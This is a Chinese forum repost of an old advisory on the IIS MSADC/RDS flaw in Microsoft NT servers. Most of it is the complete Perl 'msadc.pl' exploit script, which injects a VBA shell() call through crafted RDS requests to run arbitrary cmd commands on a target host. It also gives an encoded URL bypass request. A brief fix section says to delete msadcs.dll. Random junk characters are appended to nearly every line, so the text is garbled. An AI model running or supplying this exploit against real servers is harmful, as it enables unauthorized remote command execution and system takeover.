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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 18A&[6"!  
_SP u`=~K  
涉及程序: 8&C(0H]1  
Microsoft NT server UdI>x 4bI  
`u>BtAx8  
描述: C]=E$^ |{  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 '6 'XBL?  
fd,~Yj$R?  
详细: =-VV`  
如果你没有时间读详细内容的话,就删除: Ro1' L1:  
c:\Program Files\Common Files\System\Msadc\msadcs.dll }\0"gM  
有关的安全问题就没有了。 =h_gj >  
GO)rpk9  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 n#&RY%#`  
Fp]8f&l8  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 0&nF Vsz  
关于利用ODBC远程漏洞的描述,请参看: wKeqR$  
p 5o;Rvr  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1 I+5  
)[K3p{4  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *tO<wp&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5?fk;Q9+\  
UA8!?r-cR  
这里不再论述。 ZkIQ-;wx  
y^A $bTQq  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: f!J^vDl  
\O:xw-eG   
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset \S<5b&G  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! W^N"y &  
Ji!-G4.n"  
1%@~J\qF  
#将下面这段保存为txt文件,然后: "perl -x 文件名" tQ~B!j]  
~ 9;GD4  
#!perl _-&.=3\1  
# IID(mmy6 L  
# MSADC/RDS 'usage' (aka exploit) script J7_H.RPa  
# !:t9{z{Ixg  
# by rain.forest.puppy |i`@!NrFL  
# E&+ ^H on  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 6-=_i)kzq  
# beta test and find errors! }gW}Vr <  
7asq]Y}<  
use Socket; use Getopt::Std; XJzXxhk2  
getopts("e:vd:h:XR", \%args); ".)_kt[  
O$H150,Q  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; H+;wnI>@  
eI}VHBAz  
if (!defined $args{h} && !defined $args{R}) { RrHnDO'  
print qq~ qj6`nbZ{va  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ]1&9~TL  
-h <host> = host you want to scan (ip or domain) I5L7BTe  
-d <seconds> = delay between calls, default 1 second [j? <9  
-X = dump Index Server path table, if available @;6}xO2  
-v = verbose re!8nuBsA  
-e = external dictionary file for step 5 |&Pl4P  
c2^7"`  
Or a -R will resume a command session T]|O/  
9>R|k$`  
~; exit;} V@S/!h+  
8q3TeMYV  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; A E&n^vdQW  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} hPxI& :N  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} U_- K6:tr  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ? sW`**j  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} FA9e(Ha   
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } SSLs hY~d  
f hG2  
if (!defined $args{R}){ $ret = &has_msadc; d5y2Y/QO  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ennz/'  
l :Nxl  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" j dhml%pAd  
. "cmd /c "; ;CMC`h9,  
$in=<STDIN>; chomp $in; 2w|u)ow )  
$command="cmd /c " . $in ; K=x1m M+RK  
P$/A!r  
if (defined $args{R}) {&load; exit;} )95yV;n   
}pnFJ  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; R6Mxdm2P}  
&try_btcustmr; .eNwC.8i  
ff1B)e  
print "\nStep 2: Trying to make our own DSN..."; m=\eL~ h  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 37- y  
""'eTpe  
print "\nStep 3: Trying known DSNs..."; q;../h]Ne  
&known_dsn; q>(u>z!  
'eDgeWt/CQ  
print "\nStep 4: Trying known .mdbs..."; pZ~> l=-  
&known_mdb; J5p!-N`NS  
R}X_2""  
if (defined $args{e}){ B"8JFf}"q  
print "\nStep 5: Trying dictionary of DSN names..."; 8N* -2/P&  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 0 ,Qj:  
d<GG (  
print "Sorry Charley...maybe next time?\n"; Gx_`|I{P  
exit; O"qa&3t%  
c w]>a&d  
############################################################################## Ya&\ly /i  
f93rY<  
sub sendraw { # ripped and modded from whisker @~#79B"9&  
sleep($delay); # it's a DoS on the server! At least on mine... Be>c)90bO_  
my ($pstr)=@_; O<Sc.@~  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || _HHJw""j  
die("Socket problems\n"); VWA-?%r  
if(connect(S,pack "SnA4x8",2,80,$target)){ 2PP-0 E  
select(S); $|=1; BdB`  
print $pstr; my @in=<S>; Q`p}X&^a  
select(STDOUT); close(S); 5@>4)dk\  
return @in; *o e0=  
} else { die("Can't connect...\n"); }} w4fJ`,  
&PBWJ?@O)r  
############################################################################## a.}:d30  
4R*<WdT(  
sub make_header { # make the HTTP request m wEVEx24  
my $msadc=<<EOT BRU9LS  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 .`Old{<  
User-Agent: ACTIVEDATA qe6C|W~n  
Host: $ip _ U8OIXN  
Content-Length: $clen 9Ajgfy>  
Connection: Keep-Alive _/%]:  
FQ|LA[~  
ADCClientVersion:01.06 n?e@):  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 o eJC  
%<J(lC9,C  
--!ADM!ROX!YOUR!WORLD! Kjn&  
Content-Type: application/x-varg \B>[je-d  
Content-Length: $reqlen )_X xk_  
t`8e#n 9  
EOT COan) <Ku  
; $msadc=~s/\n/\r\n/g; n L+YL  
return $msadc;} W:{PBb"x8  
1_j<%1{sZ  
############################################################################## Tu= eQS|'  
BV }(djx  
sub make_req { # make the RDS request x)#<.DX  
my ($switch, $p1, $p2)=@_; <7FP"YU  
my $req=""; my $t1, $t2, $query, $dsn; $;)noYo  
i^sDh>$J  
if ($switch==1){ # this is the btcustmr.mdb query qSC~^N`  
$query="Select * from Customers where City=" . make_shell(); f}lT|.)?VD  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . DA4edFAuE  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} jWv3O&+?X  
U8WHE=Kk\h  
elsif ($switch==2){ # this is general make table query ))CXjwLj;  
$query="create table AZZ (B int, C varchar(10))"; M89-*1  
$dsn="$p1";} ?`T6CRZhr  
)Vg{Y [!  
elsif ($switch==3){ # this is general exploit table query OHtgn  
$query="select * from AZZ where C=" . make_shell(); }W@#S_-e8  
$dsn="$p1";} ,Og[[0g  
y\|-O<8O  
elsif ($switch==4){ # attempt to hork file info from index server z%}CB Tm  
$query="select path from scope()"; /HjI=263  
$dsn="Provider=MSIDXS;";} > G4HZE  
[TbG55  
elsif ($switch==5){ # bad query c_-" Qo  
$query="select"; nv_m!JG7  
$dsn="$p1";} a_ 9|xI  
hk7(2j7B  
$t1= make_unicode($query); y?Hj %,  
$t2= make_unicode($dsn); ^:cb $9F  
$req = "\x02\x00\x03\x00"; 'XP>} m  
$req.= "\x08\x00" . pack ("S1", length($t1)); a9? v\hG  
$req.= "\x00\x00" . $t1 ; ]uStn   
$req.= "\x08\x00" . pack ("S1", length($t2)); 9*-pden l  
$req.= "\x00\x00" . $t2 ; 1IOo?e=/bM  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ) 8x:x7?  
return $req;} VW{aUgajO  
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##############################################################################  fW5" 4,  
a%MzNH  
sub make_shell { # this makes the shell() statement Gs_*/E7,  
return "'|shell(\"$command\")|'";} gJFR1  
XI@6a9Uk  
############################################################################## Pp1zW3+Q  
HO%E-5b9  
sub make_unicode { # quick little function to convert to unicode &jXca|wAR  
my ($in)=@_; my $out; pW*{Mx  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } B^8ZoF  
return $out;} p|FlWR'mA  
q:`77  
############################################################################## njy~   
g:3d<CS  
sub rdo_success { # checks for RDO return success (this is kludge) _Hz~HoNU  
my (@in) = @_; my $base=content_start(@in); ]~j_N^oZ1X  
if($in[$base]=~/multipart\/mixed/){ u#a%(  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} qy7hkq.uX  
return 0;} ffmG~$Yh_  
eW\?eq+ `A  
############################################################################## @!z$Sp=  
+8LM~voB  
sub make_dsn { # this makes a DSN for us ;,v!7   
my @drives=("c","d","e","f"); #d }0}7ue  
print "\nMaking DSN: "; io1S9a(y  
foreach $drive (@drives) { bn0"M+7)f  
print "$drive: "; B,~f "  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . b\SXZN)Be  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" a~8:rW^  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); /[\6oa  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 52>[d3I3  
return 0 if $2 eq "404"; # not found/doesn't exist <MPeh&_3#  
if($2 eq "200") { 8q_1(& O  
foreach $line (@results) { r5f^WZ$-  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} .o-0aBG  
} return 0;} qg^(w fI  
@rPI$ia1~  
############################################################################## I#i?**  
e%PC e9  
sub verify_exists { mDb-=[W5  
my ($page)=@_; Jz~+J*r;]A  
my @results=sendraw("GET $page HTTP/1.0\n\n"); kmZ.U>#  
return $results[0];} 3x04JE3!  
[:AB$l*  
############################################################################## 5Z* b(R  
|$YyjYK  
sub try_btcustmr { BhqhyX\D&y  
my @drives=("c","d","e","f"); f Ub1/-}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); PYdIP\<V  
>nc4v6s  
foreach $dir (@dirs) { gb.f%rlZ`  
print "$dir -> "; # fun status so you can see progress c Dfx)sL  
foreach $drive (@drives) { ^{),+S  
print "$drive: "; # ditto @)9REA(U  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Jb( DJ-&  
$reqlenlen=length( "$reqlen" ); f&6w;T=  
$clen= 206 + $reqlenlen + $reqlen; 6{5q@9F  
D~cW ]2  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); =YWT|%^uX  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} A{4Dzm!  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} *6NO-T; -  
A;odVaH7  
############################################################################## S$S_nNq  
y:qx5Mi  
sub odbc_error { }$^]dn@  
my (@in)=@_; my $base; K|`+C1!  
my $base = content_start(@in); VMaS;)0f@  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (F/HU"C  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 6_W<hevI  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; smQ4CLJ  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >NJjS8f5  
return $in[$base+4].$in[$base+5].$in[$base+6];} Bk&-1>cY  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Xwn3+tSIa  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . !A~d[</]m  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} F;pTXt}?5  
yPSVwe|g  
############################################################################## 66/Z\H^d  
E^7C _JP  
sub verbose { aPprMQ5  
my ($in)=@_; tJff+n>  
return if !$verbose; I%SuT7"Do  
print STDOUT "\n$in\n";} I4rV5;f H4  
ojX%RU  
############################################################################## NPS .6qY  
yb69Q#V2  
sub save { k69kv9v@J  
my ($p1, $p2, $p3, $p4)=@_; ~D*b3K 8X  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; <'W=]IAV  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ldK>HxM%Z  
close OUT;} _Q> "\_,  
}6<)yW}U  
############################################################################## h5x*NM1Ih  
{W-5:~?"  
sub load { M|ms$1x  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; !IN @i:m  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); DUqJ y*F(  
@p=<IN>; close(IN); w nWgy4:  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); j+$ M?Z^  
$target= inet_aton($ip) || die("inet_aton problems"); oE$hqd s  
print "Resuming to $ip ..."; hXNH"0VCV  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; RV}GK L>gn  
if($p[1]==1) { ;{Xy`{Cg!  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; F{;; :  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Ky *DfQA  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 4ffU;6~l'  
if (rdo_success(@results)){print "Success!\n";} ~xw5\Y^  
else { print "failed\n"; verbose(odbc_error(@results));}} juH wHt  
elsif ($p[1]==3){ K|US~Hgv  
if(run_query("$p[3]")){ #hpIyy%n  
print "Success!\n";} else { print "failed\n"; }} F#B5sLNb  
elsif ($p[1]==4){ sA3UeTf  
if(run_query($drvst . "$p[3]")){ k'g$2  
print "Success!\n"; } else { print "failed\n"; }} p<q].^M  
exit;} AfN&n= d K  
,6DD=w0r  
############################################################################## }~rcrm.   
/oFc 03d  
sub create_table { vmvFBzLR  
my ($in)=@_; ZBF1rx?  
$reqlen=length( make_req(2,$in,"") ) - 28; \<X2ns@Tf  
$reqlenlen=length( "$reqlen" ); l nfm0  
$clen= 206 + $reqlenlen + $reqlen; #XcU{5Qm5  
my @results=sendraw(make_header() . make_req(2,$in,"")); -/zp&*0gcx  
return 1 if rdo_success(@results); <>]1Y$^Y  
my $temp= odbc_error(@results); verbose($temp); pL! a  
return 1 if $temp=~/Table 'AZZ' already exists/; IJ0#iA. T  
return 0;} 7RD$=?oO'  
#K|0lau l  
############################################################################## \04mLIJr9  
|gW    
sub known_dsn { 3524m#4&@  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Qo.Uqz.C  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", vGMJ^q  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", _PV*lK=  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); mW~P!7]  
U_l7CCK +  
foreach $dSn (@dsns) { G,=F<TnI'  
print "."; Hng!'  
next if (!is_access("DSN=$dSn")); * MEe,4  
if(create_table("DSN=$dSn")){ 9s(i`RTM  
print "$dSn successful\n"; [A]Ca$':  
if(run_query("DSN=$dSn")){ JD ]OIh  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 1Fs-0)s8  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 0vn[a,W<A  
+RS$5NLH  
############################################################################## ;gUXvx~~r  
d/]|657u  
sub is_access { 'y.JcS!|  
my ($in)=@_; HxZ.OZbR  
$reqlen=length( make_req(5,$in,"") ) - 28; E?cZ bn*>`  
$reqlenlen=length( "$reqlen" ); lVoik *,B  
$clen= 206 + $reqlenlen + $reqlen; ETO$9}x[  
my @results=sendraw(make_header() . make_req(5,$in,"")); @(>XOj?+  
my $temp= odbc_error(@results); [zQ WyDu  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); T9?54r  
return 0;} 3 z=\ .R  
v,jhE9_O0  
############################################################################## =U"dPLax  
f`?0WJ(M  
sub run_query { #uKWuGz]  
my ($in)=@_; H2U:@.o2&  
$reqlen=length( make_req(3,$in,"") ) - 28; 3$_*N(e  
$reqlenlen=length( "$reqlen" ); 7}%H2$Do  
$clen= 206 + $reqlenlen + $reqlen;  HxIoA  
my @results=sendraw(make_header() . make_req(3,$in,"")); P6YQK+  
return 1 if rdo_success(@results); B?3juyB`--  
my $temp= odbc_error(@results); verbose($temp); hVM2/j  
return 0;} r|fO7PD  
5)`h0TK  
############################################################################## ('4wXD]C  
h55>{)(E  
sub known_mdb { MwAJ(  
my @drives=("c","d","e","f","g"); JDA]t&D!v  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Y\( ;!o0a  
my $dir, $drive, $mdb; ezn` _x_?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; $P nLG]X  
4,~tl~FD  
# this is sparse, because I don't know of many }Eh*xOta  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ne*#+Q{E  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", #wjH4DT  
"\\system32\\certmdb.mdb", u-szt ?O|  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% :u/mTZDi  
41yOXy ;~l  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 0x~`5h  
"\\cfusion\\cfapps\\forums\\forums_.mdb", e:E# b~{  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ah+j!e  
"\\cfusion\\cfapps\\security\\realm_.mdb", PsbG|~  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 2h q>T&8  
"\\cfusion\\database\\cfexamples.mdb", !Lkm? (_  
"\\cfusion\\database\\cfsnippets.mdb", "Pj}E=!k  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", \$pkk6Q3,w  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Qqq <e  
"\\cfusion\\brighttiger\\database\\cleam.mdb", mmP U  
"\\cfusion\\database\\smpolicy.mdb", L/i(KF{  
"\\cfusion\\database\cypress.mdb", ARWZ; GX  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", * t!r@k  
"\\website\\cgi-win\\dbsample.mdb", vv+J0f^  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ,{KCY[}|  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" d!V$Y}n  
); #these are just QDE$E.a  
foreach $drive (@drives) { !d8A  
foreach $dir (@dirs){ B+"g2Y  
foreach $mdb (@sysmdbs) { 10O$'`  
print "."; p3yU:q#A  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9$RI H\*  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; $iPP|Rw  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ !h:  Q  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; *aRX \ TnN  
} else { print "Something's borked. Use verbose next time\n"; }}}}} < kP+eD  
d#>y}H9  
foreach $drive (@drives) { Cj^{9'0  
foreach $mdb (@mdbs) { x8"#!Pw:`"  
print "."; N wtg%;  
if(create_table($drv . $drive . $dir . $mdb)){ `@XehSQ  
print "\n" . $drive . $dir . $mdb . " successful\n"; Wi$dZOcSJ  
if(run_query($drv . $drive . $dir . $mdb)){ FjFwvO_.  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 62\&RRB i  
} else { print "Something's borked. Use verbose next time\n"; }}}} XYfv(y  
} %|+E48  
yZ3nRiuRT  
############################################################################## K5k?H  
h{_*oBa  
sub hork_idx { Phs-(3  
print "\nAttempting to dump Index Server tables...\n"; f$F*3  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; !p[`IWZ  
$reqlen=length( make_req(4,"","") ) - 28; op@i GC+  
$reqlenlen=length( "$reqlen" ); &leK}je [  
$clen= 206 + $reqlenlen + $reqlen; ,}J_:\j  
my @results=sendraw2(make_header() . make_req(4,"","")); 98=la,^$  
if (rdo_success(@results)){ ?WFh',`:  
my $max=@results; my $c; my %d; d,9`<1{9  
for($c=19; $c<$max; $c++){ i9m*g*"2  
$results[$c]=~s/\x00//g; b$- e\XB!  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 9 26Tl  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ( u`W!{1\  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; HOZRYIQB  
$d{"$1$2"}="";} ! '0S0a8  
foreach $c (keys %d){ print "$c\n"; } >NM\TLET~  
} else {print "Index server doesn't seem to be installed.\n"; }} Bs!4H2@{(]  
FxRXPt FK  
############################################################################## r;gP}H ?  
y%cO#P@  
sub dsn_dict { -F1- e+=  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); (OmH~lSO.  
while(<IN>){ bx}fj#J]En  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; p#@Z$gTH`'  
next if (!is_access("DSN=$dSn")); O#_b7i  
if(create_table("DSN=$dSn")){ SEd5)0X^  
print "$dSn successful\n"; Q6'nSBi:A_  
if(run_query("DSN=$dSn")){ lA;a  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { uaw <  
print "Something's borked. Use verbose next time\n";}}} M1!pQC_9  
print "\n"; close(IN);} \Fb| {6+  
Qe$k3!  
############################################################################## %b}gDWs  
_*6v|Ed?  
sub sendraw2 { # ripped and modded from whisker k\7:{y@,  
sleep($delay); # it's a DoS on the server! At least on mine... )=^w3y  
my ($pstr)=@_; `<fh+*  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 9|W V~  
die("Socket problems\n"); ga0'zo9K  
if(connect(S,pack "SnA4x8",2,80,$target)){ Ph,- sR  
print "Connected. Getting data"; cQUC.TZ_  
open(OUT,">raw.out"); my @in; i7Z=|&  
select(S); $|=1; print $pstr; ]axh*J3`i  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} c&'JmKV>&  
close(OUT); select(STDOUT); close(S); return @in; !GK$[9  
} else { die("Can't connect...\n"); }} ${hz e<g  
MI#mAg<  
############################################################################## 5VE2@Fn}  
rg QEUDEQ  
sub content_start { # this will take in the server headers m~`>`4  
my (@in)=@_; my $c; - u3e5gW  
for ($c=1;$c<500;$c++) { }!d;(/)rb  
if($in[$c] =~/^\x0d\x0a/){ *}! MOqP  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } =A!S/;z>  
else { return $c+1; }}} [L~@uAMw:  
return -1;} # it should never get here actually K%j&/T j1  
vO@s$qi  
############################################################################## -kj< 1~YW  
b~0N^p[&%  
sub funky { r)T[(D'Tm-  
my (@in)=@_; my $error=odbc_error(@in); zO=%J)-=  
if($error=~/ADO could not find the specified provider/){ F%/ h*  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; m7qqY  
exit;} }5 9U}@xC  
if($error=~/A Handler is required/){ yL1bS|@  
print "\nServer has custom handler filters (they most likely are patched)\n"; $u9]yiY.{  
exit;} s0W2?!>)  
if($error=~/specified Handler has denied Access/){ O#kq^C}  
print "\nServer has custom handler filters (they most likely are patched)\n"; =VP=|g  
exit;}} 2+"r~#K*  
JXU2CyMY  
############################################################################## }_OM$nzj  
fI|[Z+"  
sub has_msadc { f4('gl9  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ^U  q  
my $base=content_start(@results); oFC)  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Q<"[C 1Lj  
return 0;} CAc %f9!3  
eE]hy'{d<  
######################## UlovXb  
G*}F5.>8(  
saZ>?Owz  
解决方案: >_ \<E!j  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll LM l~yqM  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 4FMF|U  
w YNloU  
拿出来充数 哈哈
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